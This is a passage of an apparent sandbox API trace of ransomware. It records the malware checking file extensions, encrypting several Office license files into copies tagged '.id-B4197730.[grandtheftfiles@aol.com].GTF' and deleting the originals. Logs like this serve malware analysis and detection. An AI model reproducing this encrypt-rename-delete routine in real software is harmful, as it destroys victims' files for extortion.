	[0170.436] lstrlenW (lpString=".rar") returned 4
	[0170.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.436] lstrlenW (lpString=".bz2") returned 4
	[0170.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.436] lstrlenW (lpString=".7z") returned 3
	[0170.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.436] lstrlenW (lpString=".dbf") returned 4
	[0170.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.436] lstrlenW (lpString=".1cd") returned 4
	[0170.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0170.436] lstrlenW (lpString=".jpg") returned 4
	[0170.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.436] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.436] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29
	[0170.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.437] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6860) returned 1
	[0170.437] CloseHandle (hObject=0x504) returned 1
	[0170.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0170.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.437] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.438] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0170.438] GetLastError () returned 0x0
	[0170.438] ReadFile (in: hFile=0x504, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0170.474] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0170.476] ReadFile (in: hFile=0x504, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.476] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0170.476] SetEndOfFile (hFile=0x564) returned 1
	[0170.616] CloseHandle (hObject=0x564) returned 1
	[0170.616] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.616] SetEndOfFile (hFile=0x504) returned 1
	[0170.619] CloseHandle (hObject=0x504) returned 1
	[0170.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString=".doc") returned 4
	[0170.622] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".docx") returned 5
	[0170.622] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.622] lstrlenW (lpString=".pdf") returned 4
	[0170.622] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".xls") returned 4
	[0170.622] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".xlsx") returned 5
	[0170.622] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.622] lstrlenW (lpString=".ppt") returned 4
	[0170.622] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString=".zip") returned 4
	[0170.622] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".rar") returned 4
	[0170.622] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".bz2") returned 4
	[0170.622] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".7z") returned 3
	[0170.622] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString=".dbf") returned 4
	[0170.622] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString=".1cd") returned 4
	[0170.622] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString=".jpg") returned 4
	[0170.622] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.623] lstrlenW (lpString=".doc") returned 4
	[0170.623] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString=".docx") returned 5
	[0170.623] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.623] lstrlenW (lpString=".pdf") returned 4
	[0170.623] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString=".xls") returned 4
	[0170.623] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString=".xlsx") returned 5
	[0170.623] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.623] lstrlenW (lpString=".ppt") returned 4
	[0170.623] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.623] lstrlenW (lpString=".zip") returned 4
	[0170.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString=".rar") returned 4
	[0170.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString=".bz2") returned 4
	[0170.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString=".7z") returned 3
	[0170.623] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.623] lstrlenW (lpString=".dbf") returned 4
	[0170.623] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.623] lstrlenW (lpString=".1cd") returned 4
	[0170.623] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0170.623] lstrlenW (lpString=".jpg") returned 4
	[0170.623] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.623] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.623] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32
	[0170.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.624] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11609) returned 1
	[0170.624] CloseHandle (hObject=0x504) returned 1
	[0170.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0170.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.625] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.625] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0170.625] GetLastError () returned 0x0
	[0170.625] ReadFile (in: hFile=0x504, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0170.660] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0170.661] ReadFile (in: hFile=0x504, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.661] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x114, lpOverlapped=0x0) returned 1
	[0170.661] SetEndOfFile (hFile=0x564) returned 1
	[0170.661] CloseHandle (hObject=0x564) returned 1
	[0170.661] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.661] SetEndOfFile (hFile=0x504) returned 1
	[0170.664] CloseHandle (hObject=0x504) returned 1
	[0170.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.665] lstrlenW (lpString=".doc") returned 4
	[0170.665] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString=".docx") returned 5
	[0170.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.665] lstrlenW (lpString=".pdf") returned 4
	[0170.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString=".xls") returned 4
	[0170.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString=".xlsx") returned 5
	[0170.665] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.665] lstrlenW (lpString=".ppt") returned 4
	[0170.665] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.665] lstrlenW (lpString=".zip") returned 4
	[0170.665] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString=".rar") returned 4
	[0170.665] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString=".bz2") returned 4
	[0170.665] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString=".7z") returned 3
	[0170.665] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.665] lstrlenW (lpString=".dbf") returned 4
	[0170.665] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.665] lstrlenW (lpString=".1cd") returned 4
	[0170.665] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.665] lstrlenW (lpString=".jpg") returned 4
	[0170.665] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.666] lstrlenW (lpString=".doc") returned 4
	[0170.666] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString=".docx") returned 5
	[0170.666] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.666] lstrlenW (lpString=".pdf") returned 4
	[0170.666] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString=".xls") returned 4
	[0170.666] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString=".xlsx") returned 5
	[0170.666] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.666] lstrlenW (lpString=".ppt") returned 4
	[0170.666] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.666] lstrlenW (lpString=".zip") returned 4
	[0170.666] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString=".rar") returned 4
	[0170.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString=".bz2") returned 4
	[0170.666] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString=".7z") returned 3
	[0170.666] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.666] lstrlenW (lpString=".dbf") returned 4
	[0170.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.666] lstrlenW (lpString=".1cd") returned 4
	[0170.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0170.666] lstrlenW (lpString=".jpg") returned 4
	[0170.666] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.667] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.667] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22
	[0170.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.667] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6795) returned 1
	[0170.667] CloseHandle (hObject=0x504) returned 1
	[0170.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220
	[0170.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.668] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.668] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0170.670] GetLastError () returned 0x0
	[0170.670] ReadFile (in: hFile=0x504, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1a8b, lpOverlapped=0x0) returned 1
	[0170.696] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0170.699] ReadFile (in: hFile=0x504, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.699] WriteFile (in: hFile=0x564, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x100, lpOverlapped=0x0) returned 1
	[0170.699] SetEndOfFile (hFile=0x564) returned 1
	[0170.705] CloseHandle (hObject=0x564) returned 1
	[0170.709] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.709] SetEndOfFile (hFile=0x504) returned 1
	[0170.838] CloseHandle (hObject=0x504) returned 1
	[0170.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1
	[0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.398] lstrlenW (lpString=".doc") returned 4
	[0171.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString=".docx") returned 5
	[0171.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.398] lstrlenW (lpString=".pdf") returned 4
	[0171.398] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString=".xls") returned 4
	[0171.398] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString=".xlsx") returned 5
	[0171.398] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.398] lstrlenW (lpString=".ppt") returned 4
	[0171.398] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.398] lstrlenW (lpString=".zip") returned 4
	[0171.398] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString=".rar") returned 4
	[0171.398] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString=".bz2") returned 4
	[0171.398] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.398] lstrlenW (lpString=".7z") returned 3
	[0171.399] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.399] lstrlenW (lpString=".dbf") returned 4
	[0171.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.399] lstrlenW (lpString=".1cd") returned 4
	[0171.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0171.399] lstrlenW (lpString=".jpg") returned 4
	[0171.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
